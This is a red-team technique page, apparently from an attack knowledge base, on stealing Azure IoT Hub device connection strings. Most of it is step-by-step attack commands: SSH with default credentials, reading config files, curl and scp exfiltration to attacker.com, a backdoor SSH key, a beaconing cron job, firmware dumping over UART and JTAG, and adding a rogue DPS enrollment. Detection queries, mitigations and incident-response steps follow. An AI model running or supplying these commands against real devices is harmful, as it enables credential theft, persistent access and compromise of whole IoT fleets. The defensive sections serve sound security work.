MCADDF

CA-UNSC-017: IoT device connection strings theft

1. Metadata

Attribute Details
Technique ID CA-UNSC-017
MITRE ATT&CK v18.1 T1552.001 - Unsecured Credentials: Credentials In Files
Tactic Credential Access
Platforms Entra ID / Azure IoT Hub / IoT Devices
Severity Critical
CVE CVE-2019-5160 (WAGO IoT Hub redirection), CVE-2019-5134/5135 (WAGO credential exposure)
Technique Status ACTIVE
Last Verified 2026-01-06
Affected Versions All Azure IoT Hub versions; IoT Edge 1.0+; IoT devices with firmware-embedded credentials
Patched In No universal fix; requires manufacturer implementation of secure credential storage
Author SERVTEP – Artur Pchelnikau

Note: Sections 6 (Atomic Red Team), 11 (Sysmon Detection), and 8 (Splunk Detection) not included because (1) T1552.001 firmware testing is hardware-specific, (2) Sysmon does not capture firmware execution, (3) Splunk is cloud-centric; this technique operates at device level. Remaining sections have been dynamically renumbered.

2. Executive Summary

Concept: Azure IoT devices authenticate to IoT Hub using connection strings—symmetric keys that grant full device-level access. Unlike cloud-based secrets that can be rotated quickly, IoT device credentials are often embedded in firmware or stored in plaintext configuration files on resource-constrained devices. An attacker who gains physical or network access to an IoT device can extract the connection string through multiple vectors: UART/JTAG serial interfaces, SSH access to configuration files, firmware reverse engineering, or memory dumps. A single compromised connection string grants the attacker the ability to send/receive messages as that device, modify device twins, invoke direct methods, and potentially pivot to other systems. If the extracted credential is a service-level key (rather than device-specific), the attacker gains access to all devices in the IoT Hub—enabling supply chain attacks by poisoning firmware updates or hijacking device management.

Attack Surface:

Business Impact: Complete IoT infrastructure compromise and supply chain attack vector. An attacker who extracts connection strings from a firmware image can compromise thousands of deployed devices simultaneously. By modifying cloud-to-device messages, the attacker can execute arbitrary commands, brick devices, or exfiltrate sensor data. If the IoT device has network access to on-premises systems (e.g., industrial control systems, medical devices), the compromise extends to critical infrastructure. Historical precedent: the Mirai botnet exploited default credentials on 820,000 devices; modern firmware-based attacks could affect millions.

Technical Context: IoT devices have severe resource constraints—limited CPU, RAM, and storage. Manufacturers often opt for symmetric keys (connection strings) over X.509 certificates due to lower computational overhead. Security best practices recommend regular credential rotation, but most IoT devices lack over-the-air update capabilities, forcing credentials to have multi-year lifespans. A compromised credential discovered today may remain valid for years if the device is not updated.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.1.1, 4.2.1 Weak credential storage, firmware hardening
DISA STIG CAT I - Removable Media Insecure storage of device identity credentials
CISA SCuBA ICS-1.1 Secure Device Identity and Authentication
NIST 800-53 IA-2 (Authentication), SC-7 (Boundary Protection), SC-13 (Cryptographic Protection) Implement multi-factor authentication, encrypt credentials in transit/at rest
GDPR Art. 32 (Security of Processing), Art. 33 (Breach Notification) Failure to encrypt credentials; mandatory breach reporting if connection string exposed
DORA Art. 9 (Protection and Prevention), Art. 19 (Cryptographic Keys Management) IoT devices as critical ICT infrastructure require robust credential management
NIS2 Art. 21.1 (Risk Management), Art. 21.2 (Supply Chain Security) Supply chain attacks via compromised IoT firmware; incident response procedures required
ISO 27001 A.8.2.1 (User Registration), A.9.1.1 (Access Control Policy), A.10.1.1 (Cryptography) Management of device credentials; encryption of sensitive data at rest/in transit
ISO 27005 7.4.2 (Supply Chain Attack Risk) Firmware tampering and credential exposure in manufacturing/deployment supply chain

3. Technical Prerequisites

Required Privileges:

Required Access:

Supported Versions:

Tools:

4. Detailed Execution Methods

METHOD 1: Extract Connection String from IoT Edge Device Configuration File

Supported Versions: IoT Edge 1.0+ on Linux (Ubuntu, Debian, CentOS)

Step 1: Gain SSH Access to IoT Edge Device

Objective: Obtain shell access to the device running Azure IoT Edge runtime.

Preconditions:

Command:

# Attempt SSH connection with default or compromised credentials
ssh -i device_private_key.pem azureuser@<device_ip>
# OR
ssh admin@<device_ip>  # (with password)
# OR exploit default credentials (e.g., raspberry/raspberry on Raspberry Pi)
ssh pi@<device_ip>

Expected Output:

Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
azureuser@edge-device:~$

What This Means:

OpSec & Evasion:

Troubleshooting:

References:

Step 2: Locate and Read IoT Edge Configuration File

Objective: Extract the device connection string from the IoT Edge runtime configuration.

Command:

# Primary IoT Edge configuration file (requires root or sudo)
sudo cat /etc/aziot/config.toml
# OR
sudo cat /etc/iotedge/config.yaml  # (older IoT Edge versions)

# Look for connection_string line:
# connection_string = "HostName=...;SharedAccessKeyName=owner;SharedAccessKey=..."

Expected Output:

# /etc/aziot/config.toml
[provisioning]
source = "manual"
connection_string = "HostName=my-hub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abc="

[agent]
name = "edgeAgent"
type = "docker"
image = "mcr.microsoft.com/azureiotedge-agent:1.4"
createOptions = "{\"Env\":[]}"

[edge_hub]
name = "edgeHub"
type = "docker"
image = "mcr.microsoft.com/azureiotedge-hub:1.4"

What This Means:

OpSec & Evasion:

Troubleshooting:

References:

Step 3: Exfiltrate Connection String and Establish Persistence

Objective: Extract the connection string from the device and establish a secondary access method.

Command:

# Extract connection string to attacker's server
CONNECTION_STRING=$(sudo grep "connection_string" /etc/aziot/config.toml | awk -F'"' '{print $2}')
echo $CONNECTION_STRING | curl -d @- http://attacker.com/exfil

# Alternative: Write to file and exfiltrate via SCP
echo $CONNECTION_STRING > /tmp/iot_key.txt
scp /tmp/iot_key.txt attacker@attacker.com:/tmp/

# Establish persistence: Add backdoor SSH key to authorized_keys
mkdir -p ~/.ssh
echo "ssh-rsa AAAA...attacker_public_key... attacker@C2" >> ~/.ssh/authorized_keys

# Or: Create cron job that periodically sends connection string
(crontab -l 2>/dev/null; echo "*/30 * * * * echo \$CONNECTION_STRING | curl -d @- http://attacker.com/ping") | crontab -

What This Means:

OpSec & Evasion:

References:

METHOD 2: Extract Connection String via Firmware Reverse Engineering

Supported Versions: All IoT devices with firmware-embedded credentials

Step 1: Obtain Device Firmware Image

Objective: Extract the complete firmware binary from the IoT device.

Preconditions:

Physical Extraction Methods:

Option A: UART Serial Console

# Using a UART USB adapter (e.g., CH340, FTDI):
# 1. Connect USB adapter to UART pins on device:
#    GND (Black)   → GND
#    RX (Green)    → TX (Device)
#    TX (White)    → RX (Device)
#    5V (Red)      → Optional (for power, if needed)

# 2. Open serial console on Linux/Mac:
minicom -D /dev/ttyUSB0 -b 115200
# OR
screen /dev/ttyUSB0 115200

# 3. During device boot, you'll see bootloader output and may be able to:
#    - Access bootloader shell (if not password-protected)
#    - Read firmware from flash via bootloader commands
#    - Extract memory contents line-by-line via serial

# 4. If bootloader accessible, commands like:
#    > dump 0x10000 0x100000 /tmp/firmware.bin  # (varies by bootloader)
#    > save /tmp/firmware.bin  # to extract

# 5. Alternatively, use UART for shell access (same as SSH, but slower)
#    User prompts may expose plaintext credentials

Option B: JTAG/SWD Debugging Interface

# Using JTAG debugger (e.g., ST-LINK, J-LINK):
# 1. Identify JTAG pins on device PCB (typically 4-20 pins)
# 2. Connect debugger via SWD/JTAG adapter
# 3. Use OpenOCD (Open On-Chip Debugger):

openocd -f interface/stlink.cfg -f target/stm32f1x.cfg
# In OpenOCD telnet session (port 4444):
# > init
# > dump_image /tmp/firmware.bin 0x08000000 0x80000  # STM32F1 example
# > exit

# 4. Or use GDB directly:
arm-none-eabi-gdb
(gdb) target extended-remote localhost:4242
(gdb) dump memory firmware.bin 0x08000000 0x0807ffff

Option C: NAND/NOR Flash Chip Direct Access

# For devices with removable or externally-accessible flash:
# 1. Physically remove flash chip from device (requires microsoldering/desoldering)
# 2. Use flash programmer (e.g., CH341A):
sudo ch341erase /dev/spidev0.0
sudo ch341read -d /dev/spidev0.0 -o firmware.bin

# 3. Reassemble device

Download from Manufacturer:

# Many manufacturers publish firmware on public sites:
wget https://manufacturer.com/downloads/device_model_v1.2.3.bin

# Or extract from mobile app APK:
unzip device-app.apk
# Look for firmware blobs in assets/ or lib/ directories
file assets/*  # identify binary files

Expected Output:

$ ls -lh firmware.bin
-rw-r--r-- 1 user group 8388608 Jan 6 10:00 firmware.bin

$ file firmware.bin
firmware.bin: firmware image, Header size: 0, 
              Version: (something), 
              Timestamp: Mon Jan 01 00:00:00 2024

What This Means:

OpSec & Evasion:

Step 2: Extract Credentials from Firmware Using Binwalk

Objective: Identify and extract the connection string embedded in the firmware binary.

Command:

# Install Binwalk
pip install binwalk

# Analyze firmware structure
binwalk firmware.bin

# Output shows file types and offsets:
# 0             0x0             ELF 32-bit LSB executable, ARM, version 1
# 65536         0x10000         uImage, Linux Kernel Image, ...
# 1048576      0x100000         Squashfs filesystem, ...

# Extract filesystem
binwalk -e firmware.bin

# This extracts to: _firmware.bin.extracted/
# Navigate to extracted squashfs:
cd _firmware.bin.extracted/squashfs-root/

# Search for connection string patterns
grep -r "HostName=" . 2>/dev/null
grep -r "SharedAccessKey" . 2>/dev/null
grep -r "azure-devices" . 2>/dev/null
grep -r "connection_string" . 2>/dev/null

# Look in config files:
cat etc/config/iotedge_config.conf  # if present
cat etc/iotedge/config.yaml
cat var/lib/iotedge/device_connection_string
cat etc/environment | grep AZURE

Expected Output:

./etc/iotedge/config.yaml:
provisioning:
  source: "manual"
  device_connection_string: "HostName=device-hub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7R8="

./etc/appconfig/app.conf:
IOT_DEVICE_CONNECTION_STRING="HostName=device-hub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7R8="

./usr/local/bin/iotedge.sh:
export DEVICE_CONNECTION_STRING="HostName=device-hub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7R8="

What This Means:

OpSec & Evasion:

Troubleshooting:

References:

METHOD 3: Extract Connection String from Docker Container Image Layers

Supported Versions: Azure IoT Edge modules using Docker containers; any containerized IoT application

Step 1: Access Container Registry and List Available Images

Objective: Identify and download IoT-related container images from registry.

Preconditions:

Command:

# List images in Azure Container Registry (if publicly accessible)
az acr repository list --name mycontainerregistry --output table

# Or query public DockerHub registry:
curl https://registry.hub.docker.com/v2/repositories/library/

# Download container image (requires `docker` or `podman`)
docker pull myregistry.azurecr.io/iotedge-sensor:1.0
docker pull namespace/iotapp:latest

# If credentials needed:
docker login myregistry.azurecr.io -u <username> -p <password>
docker pull myregistry.azurecr.io/iotedge-sensor:1.0

Expected Output:

Pulling from myregistry.azurecr.io/iotedge-sensor
sha256:abc123... Pulling fs layer
sha256:def456... Pulling fs layer
sha256:ghi789... Downloading [===========>  ] 50 MB / 100 MB
Digest: sha256:xyz789...
Status: Downloaded newer image for myregistry.azurecr.io/iotedge-sensor:1.0

What This Means:

Step 2: Extract and Analyze Container Layers

Objective: Extract filesystem from container image layers and search for credentials.

Command:

# Option 1: Use Dive tool (interactive layer inspector)
dive myregistry.azurecr.io/iotedge-sensor:1.0
# Interactive: Navigate to /etc/config, /var/lib/, etc. to find credentials

# Option 2: Manual extraction using Docker
# First, create a temporary container from the image:
docker create --name temp-container myregistry.azurecr.io/iotedge-sensor:1.0

# Export container filesystem:
docker export temp-container -o container.tar
tar -xf container.tar

# Now search extracted filesystem:
grep -r "HostName=" . 2>/dev/null
grep -r "SharedAccessKey" . 2>/dev/null
grep -r "CONNECTION" . 2>/dev/null
find . -name "*config*" -type f -exec grep -l "iot" {} \;

# Check environment in Dockerfile:
grep -r "ENV.*CONNECTION\|ENV.*KEY" .

Alternative: Examine Image Manifest

# Get image config details:
docker inspect myregistry.azurecr.io/iotedge-sensor:1.0 --format=''

# Output shows environment variables at runtime:
# ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
#  "DEVICE_CONNECTION_STRING=HostName=...;SharedAccessKey=...",
#  "LOG_LEVEL=INFO"]

Expected Output:

container/
├── etc/
│   └── iotedge/
│       └── config.yaml: "HostName=device-hub.azure-devices.net;SharedAccessKey=A1B2C3..."
├── var/
│   └── lib/
│       └── iot/
│           └── device_keys.json: {"connection_string": "HostName=...;SharedAccessKey=..."}
└── app/
    └── appsettings.json: "ConnectionString": "HostName=...;SharedAccessKey=..."

What This Means:

OpSec & Evasion:

METHOD 4: Exploit Device Provisioning Service (DPS) to Compromise Multiple Devices

Supported Versions: Azure IoT Hub with DPS enabled; all device authentication methods

Step 1: Obtain DPS Service Principal Credentials

Objective: Extract credentials for the DPS service connection (e.g., from pipeline, or stolen from admin).

Preconditions:

Command:

# If you've already compromised a pipeline/DevOps account (see CA-UNSC-015):
export DPS_SERVICE_PRINCIPAL="client_id:secret"
export DPS_ID_SCOPE="0ne12345678"  # 9-digit scope from DPS instance

# Or authenticate via Entra ID:
az login --service-principal \
  -u <client_id> \
  -p <client_secret> \
  --tenant <tenant_id>

# Set DPS context:
az account set --subscription <subscription_id>

Expected Output:

[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "87654321-...",
    "id": "12345678-...",
    "isDefault": true,
    "name": "Production Subscription",
    "state": "Enabled",
    "tenantId": "87654321-...",
    "user": {
      "name": "service-principal@company.onmicrosoft.com",
      "type": "servicePrincipal"
    }
  }
]

Step 2: Enumerate Enrolled Devices in DPS

Objective: List all devices enrolled in the DPS instance (potential targets).

Command:

# List all device registrations in DPS:
az iot dps registration list \
  --dps-name <dps-name> \
  --resource-group <rg-name>

# Output: List of device IDs, enrollment status, etc.
# Example:
# [
#   {
#     "deviceId": "sensor-001",
#     "status": "enabled",
#     "createdDateTime": "2024-01-01T00:00:00Z"
#   },
#   {
#     "deviceId": "sensor-002",
#     "status": "enabled",
#     "createdDateTime": "2024-01-02T00:00:00Z"
#   },
#   ...
# ]

# Get enrollment details for specific device:
az iot dps enrollment show \
  --enrollment-id sensor-001 \
  --dps-name <dps-name> \
  --resource-group <rg-name>

# Shows: Attestation type (X.509, TPM, Symmetric Key), certificates/keys, etc.

Step 3: Add Malicious Device to DPS Enrollment or Modify Existing Device

Objective: Register a malicious device (or modify an existing registration) to gain IoT Hub access for all devices.

Command:

# If DPS uses Symmetric Key attestation, extract the master key:
# (Available in DPS enrollment if you have admin access)

# Add new device enrollment with attacker-controlled credentials:
az iot dps enrollment create \
  --enrollment-id attacker-device-001 \
  --attestation-type symmetricKey \
  --dps-name <dps-name> \
  --resource-group <rg-name> \
  --device-type Iot \
  --provisioning-status enabled

# The device now has the same IoT Hub ID scope as all legitimate devices
# When attacker's device connects with attacker-generated symmetric key,
# DPS will provision it to the IoT Hub

# Alternatively, if you've extracted a legitimate device's symmetric key,
# you can create a duplicate enrollment:
az iot dps enrollment create \
  --enrollment-id sensor-001-duplicate \
  --attestation-type symmetricKey \
  --iot-hub-host-name <hub-name>.azure-devices.net \
  --auth-type key \
  --primary-key <extracted_primary_key> \
  --dps-name <dps-name> \
  --resource-group <rg-name>

# Now both legitimate device AND attacker device share same credentials
# Both can connect to IoT Hub simultaneously

What This Means:

OpSec & Evasion:

References:

5. Tools & Commands Reference

Azure CLI IoT Extension

Installation:

az extension add --name azure-iot

Key Commands:

Command Purpose
az iot dps device-registration list List all device registrations in DPS
az iot dps enrollment show View specific device enrollment details
az iot dps enrollment create Register new device in DPS
az iot hub device-identity create Create device identity in IoT Hub
az iot hub device-identity show-connection-string Extract device connection string
az iot hub invoke-module-method Invoke direct method on device/module
az iot hub device-twin show View device twin (desired + reported properties)
az iot hub device-twin update Modify device twin

Binwalk - Firmware Analysis

Installation:

pip install binwalk
# With extraction support:
pip install binwalk[full]

Common Usage:

# Analyze firmware:
binwalk firmware.bin

# Extract with auto-detection:
binwalk -e firmware.bin

# Search for specific strings:
binwalk -s "HostName=" firmware.bin

# Use entropy analysis:
binwalk -E firmware.bin  # Visualize entropy (encrypted regions appear as noise)

Ghidra - Reverse Engineering

For extracting hardcoded credentials from binary code:

# Download and extract Ghidra from:
# https://github.com/NationalSecurityAgency/ghidra/releases

# Launch Ghidra GUI:
./ghidra/bin/ghidraRun

# In Ghidra:
# 1. File → Import File → Select firmware.bin
# 2. Double-click to analyze
# 3. Search → Memory → Find strings containing "HostName"
# 4. Right-click → Disassemble to see how string is used
# 5. Trace back to functions that initialize or transmit this string

Dive - Docker Image Inspection

For analyzing container image layers:

# Installation:
# - Linux: https://github.com/wagoodman/dive/releases
# - macOS: brew install dive
# - Or use Docker:
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive:latest myimage:latest

# Usage (interactive):
# - Arrow keys: Navigate filesystem
# - Tab: Switch between "Layers" view and "Filesystem" view
# - Type to filter files
# - Escape: Exit

6. Microsoft Sentinel Detection

Query 1: Detect Unauthorized Access to IoT Hub Devices

Rule Configuration:

KQL Query:

let SuspiciousOperations = dynamic([
    "Create device identity",
    "Update device identity",
    "Invoke direct method",
    "Send cloud-to-device message",
    "Get device twin"
]);

AuditLogs
| where OperationName in (SuspiciousOperations)
    or ActivityDetails contains "deviceId"
    or ActivityDetails contains "connection"
| where InitiatedBy !contains "@company.onmicrosoft.com"  // Exclude known service accounts
    or IpAddress !startswith "10."  // Flag if from non-corporate IP
| where TimeGenerated > ago(15m)
| summarize DeviceAccesses = count() by InitiatedBy, OperationName, IpAddress, bin(TimeGenerated, 5m)
| where DeviceAccesses > 5  // Threshold: more than 5 operations in 5 minutes = suspicious
| project TimeGenerated, InitiatedBy, OperationName, DeviceAccesses, IpAddress

What This Detects:

Query 2: Detect Container Image with Embedded Credentials

Rule Configuration:

KQL Query:

// Search build logs or image metadata for credential patterns
AuditLogs
| where ActivityDetails contains "push" or ActivityDetails contains "build"
    and (ActivityDetails contains "HostName=" 
      or ActivityDetails contains "SharedAccessKey"
      or ActivityDetails contains "connection_string")
| project TimeGenerated, InitiatedBy, ActivityDetails, IpAddress

// Alternative: Search container image registries
// ContainerImageInventory
// | where ImageProperties contains regex @"HostName.*SharedAccessKey"

7. Windows Event Log Monitoring

Event ID: 4697 (Firewall Rule Addition) - if IoT device connects via corporate network

Event ID: 4720 (User Account Created) - if device provisioning service creates accounts

Manual Configuration Steps:

  1. On IoT Edge device running Windows, enable audit logging: 
    auditpol /set /subcategory:"Audit Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Audit Authentication" /success:enable /failure:enable
  2. Forward logs to central SIEM: 
    # Configure Windows Event Log forwarding to Sentinel or Splunk
# (Device-specific configuration; see device's documentation)

8. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Mitigations)

PowerShell / Azure CLI - Check IoT Hub Security Configuration:

# Check if connection string authentication is disabled:
az iot hub policy list --hub-name <hub-name> --query "[].keyName"
# Should show minimal policies (ideally only system/service policies)

# Check if DPS uses certificate attestation:
az iot dps enrollment list --dps-name <dps-name> \
  --query "[].attestationType" | grep -i "x509\|tpm"
# Should NOT show "symmetricKey"

# Verify minimum TLS version:
az iot hub show --name <hub-name> --query "properties.minTlsVersion"
# Should be "1.2"

# Check device connection audit logs:
az monitor log-analytics query \
  --workspace <workspace-id> \
  --analytics-query "AuditLogs | where OperationName contains 'device' | distinct InitiatedBy"
# Should show only expected service principals, not user accounts

Expected Output (If Secure):

Connection string authentication: Disabled
DPS attestation type: x509CertificateCA
Minimum TLS version: 1.2
Recent device modifications: (Only by automated deployment service, not users)

9. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Immediate:

    # Disable device in IoT Hub:
az iot hub device-identity update \
  --hub-name <hub-name> \
  --device-id <compromised_device_id> \
  --status disabled
   
# Revoke connection string:
az iot hub device-identity renew-key \
  --hub-name <hub-name> \
  --device-id <compromised_device_id> \
  --key-type primary  # This invalidates all connections using old key

    Physical:

    • Power off device if possible
    • Disconnect from network (unplug Ethernet, disable WiFi)
    • Preserve device for forensic analysis

  2. Collect Evidence:

    # Export device logs from IoT Hub:
az iot hub monitor-events \
  --hub-name <hub-name> \
  --device-id <device_id> \
  --properties all  > device_events.log
   
# Export audit logs:
az monitor log-analytics query \
  --workspace <workspace_id> \
  --analytics-query "AuditLogs | where TargetResources contains '<device_id>' | sort by TimeGenerated desc" \
  > device_audit.csv
   
# If physical access: Image entire device storage
dd if=/dev/sda of=/mnt/forensics/device.img

  3. Remediate:

    # Step 1: Rotate all device credentials (if not already done)
az iot hub device-identity renew-key \
  --hub-name <hub-name> \
  --device-id <all_devices> \
  --key-type both  # Rotate both primary and secondary
   
# Step 2: Update device firmware with new configuration
# (Via Device Update for IoT Hub or manual update)
   
# Step 3: Re-enable device after verification:
az iot hub device-identity update \
  --hub-name <hub-name> \
  --device-id <device_id> \
  --status enabled
   
# Step 4: Verify new credentials are in use:
az iot hub device-twin show --hub-name <hub-name> --device-id <device_id> \
  --query "properties.reported.connectivity"  # Should show new connection time

  4. Escalate:

    Notify:

    • Security team (incident investigation)
    • DevOps/IoT ops team (device recovery)
    • Compliance/Legal (possible breach reporting under GDPR, sector-specific regulations)
    • Incident response (broader supply chain assessment if firmware was compromised)

    Incident Report Should Include:

    • Device ID and model affected
    • When connection string was likely compromised
    • What data may have been accessed/modified
    • Number of other devices using similar firmware
    • Remediation timeline and new credential distribution
Step Phase Technique Description
1 Initial Access T1200 - Exploitation for Privilege Escalation Physical tampering or network vulnerability exploitation to gain device shell access
2 Discovery T1526 - Cloud Service Discovery Enumerate configuration files to find IoT Hub name, DPS scope
3 Credential Access [CA-UNSC-017] IoT Device Connection Strings Theft Extract connection string from firmware, config, or memory
4 Lateral Movement T1570 - Lateral Tool Transfer Use stolen device identity to access other IoT devices in same hub
5 Persistence T1547 - Boot or Logon Autostart Execution Modify device firmware or startup scripts to maintain persistence
6 Exfiltration T1041 - Exfiltration Over C2 Channel Send sensor data or commands to attacker’s server using hijacked device
7 Impact Supply Chain Attack Compromise firmware for thousands of deployed devices; inject malicious firmware updates

11. Real-World Examples

Example 1: Mirai Botnet (2016) - Default Credentials on IoT Devices

Example 2: WAGO IoT Device Firmware Vulnerability (CVE-2019-5160)

Example 3: Firmware Extraction via UART - Practical IoT Hacking (Quarkslab 2025)

12. ATTACK VARIATIONS & VERSION-SPECIFIC NOTES

IoT Edge 1.0-1.1 (Older Versions)

Differences:

Exploitation:

# Older version config location:
sudo cat /etc/iotedge/config.yaml | grep "connection_string"

IoT Edge 1.2+ with X.509 Certificate Authentication

Differences:

Exploitation Challenge:

Azure IoT Central (SaaS Platform)

Differences:

Exploitation:

# Same as DPS attack (see METHOD 4)
az iot central device show --app-id <central-app> --device-id <device_id>
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